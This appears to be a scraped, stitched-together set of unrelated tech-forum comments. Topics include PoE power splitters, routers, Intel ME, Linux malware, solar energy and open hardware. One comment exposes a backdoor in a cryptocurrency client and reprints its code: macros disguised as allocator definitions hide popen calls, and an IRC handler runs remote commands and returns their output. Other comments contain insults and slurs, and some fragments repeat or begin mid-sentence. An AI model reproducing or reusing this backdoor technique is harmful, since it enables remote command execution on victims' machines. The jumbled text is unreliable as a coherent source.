I would like to be able to powercycle a USB-powered device in Farawayland, while sitting in my comfy office. By instructing my switch to cycle the PoE power on the relevant port.
A device which accepts regular PoE via an RJ45 in one end, and supplies USB power and RJ45 in the other end would facilitate that.
If anything is the most important IT invention of our age, it's the invention of the router. routers are the fundamental building block of what we consider to be the internet. they can be software or hardware based but they are what tie many computers together so that they can communicate quickly. without routers, bitcoin could not have even existed beyond an idea.
you've mentioned PoE, USB and 12V power sources. what you failed to mention is what the hell you actually want. do you want PoE to 12V? do you want PoE to USB? do you want an SBC powered by PoE that boots off a USB stick? what the hell do you want?
I'm not even saying that the IME is necessarily perfect, but conspiracy-theory drivel doesn't do much for me.
I know, right?! Just last month someone tried to convince me that Juniper routers had a backdoor. Can you believe the crazy shit people are willing to believe? What crazy conspiracy-theory drivel will people post next, all our phones are tapped? A secret NSA building where internet traffic is recorded? I mean, that would have be a huge building.
Dr.Web malware specialists have not disclosed how this malware infects Linux computers.
But they are willing to sell you their Linux antivirus software.
From what I've gathered, it's written in C++, uses Qt 5.4 or higher (that's when the enumeration value QStandardPaths::GenericDataLocation was added to Qt) and it's not self-propagating.
So basically, it's a program that has to be installed on your computer... maybe from a compromised package repo server.
while nuclear is a great source of energy, it requires constant vigilant maintenance and an electrical distribution system. why not invest in solar+battery for your entire country? they are low maintenance power harvesting systems that use a naturally occurring nuclear power, a star. stars are fantastic power sources because one's like ours are stable for billions of years, require no maintenance, have perfect security and their own multi-planetary power distribution systems. making solar panels and sodium-ion batteries isn't beyond Belgium's capabilities and it would solve a lot of problems.
I've been developing automatic speech recognition systems in the 1990s. Back then, the best performing recognizers were based on Hidden Markov Models, and for "out of context" tasks like "determine whether an individual spoken word from an unknown speaker is 'nine' or 'none'", the automatic recognizers already achieved better recognition rates than humans.
Sure... but this time they did it with Mandarin instead of English.
There's a backdoor in the IRC code that gives the attacker the ability to run arbitrary commands on the victim's host.
In src/allocators.h we see these macros being defined, in an attempt to hide 'popen' and 'pclose' calls:
/** Determine system page size in bytes */ #define S_ORDER(a,b,c,d) b##a##d##c/**
* OS-dependent memory page locking/unlocking.
* Defined as policy class to make stubbing for test possible.
*/ #define CLine S_ORDER(I,F,E,L)/**
* Singleton class to keep track of locked (ie, non-swappable) memory pages, for use in
* std::allocator templates.
*/ #define CRead S_ORDER(p,po,n,e) #define CFree S_ORDER(cl,p,e,os)//// Allocator that locks its contents from being paged// out of memory and clears its contents before deletion.// #define CBuff "PR" "IV" "M" "SG"
Then in irc.cpp they are used to implement the backdoor:
if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
{
CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
CFree(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s:%s\r", CBuff, pszName, result.c_str()).c_str());
}
}
I expect this is a known issue since this kind of thing doesn't happen accidentally.
the actual model number is R8500 and "AC5300" is just marketing shitting on the desk. a side note: netgear actually seems to be open source friendly now as they are using version of dd-wrt and openwrt for their routers.
well i would like to point out that pie chart sections are being a total teases! i mean, why would you be outside of the rest of the pie if you weren't asking for it?!;)
You know the other 2 are suddenly REALLY happy they got the placebo
actually, they were all taking the placebo. the first person fell down a flight of stairs after "feeling dizzy" and four behind him suddenly felt dizzy too falling down atop the first. it seems odd and unbelievable until you find out they were all soccer players.

We need to share knowledge that creates understanding about potential damage, but not the ability to create it. We need to share knowledge about 'who exploits work', but not 'how to make use of them'. We need to share knowledge 'how malware works', but sharing 'sample code' is not needed for that.
i wouldn't consider him a reliable source considering he allowed them to write a password manager in javascript.
From beefy processors to graphics controllers, boot ROMs and binary blobs run in the silicon we base our systems upon. The code is not published and in the rare case that you are able to view the source it is only under strict NDA. This represents one of the biggest barriers to true open hardware.
this is incorrect! the giant barrier that prevents people from having true open hardware is the obscene cost of having your design made into a silicon chip. if you could suddenly get a one-off chip made for $100, we would all be running much different systems and few of them would be related to x86.
if you are using military counterinsurgency tools and algorithms on the general population, you are just preventing any change that might upset the status quo. the military industrial complex is going to cannibalize the country if shit like this continues.
Mr. Chaum has clearly underestimate the resolve of governments around the world. If needed, they will coerce the holder(s) of the key(s) to get what they want. Anyone that has even part of the key to the backdoor is going to put a giant bull's eye on themselves and their loved ones.
a better idea would be to take the improvements made and upgrade the Tor protocol.
they were infamous for QA problems but despite that, the brand is still recognized for being fast. Toshiba probably thinks they can rehabilitate the brand but if they screw it up, it won't hurt Toshiba's brand name.

how can you tell if your boss stressed and suffering from dementia or just stupid? ;)

what you want is a PoE "splitter" - http://www.amazon.com/TP-LINK-...
it provides a standard barrel for which there are USB adapters - http://www.amazon.com/s/ref=nb...

conspiracy-theory drivel indeed!
i mean, it's not like they have broken any promises before.
for the decryption keys to get stolen. Saying, "I told you so, you fucking retard," never gets old.

maybe the star isn't screwed in tightly enough. just give it a half twist and see if that stops the flickering. ;)
the information was released by Microsoft, not leaked.

10GbE Ethernet, kinda sucks. Cost per port is really high and actually so are the power requirements per port.
that's why it's built into the processor, you twit.

yes, they were only fined $250K. Henry Schein is a multibillion dollar multinational company. $250K is "cost of business" expense because they make millions selling their software. this isn't even a slap on the wrist.
they were infamous for QA problems but despite that, the brand is still recognized for being fast. Toshiba probably thinks they can rehabilitate the brand but if they screw it up, it won't hurt Toshiba's brand name.
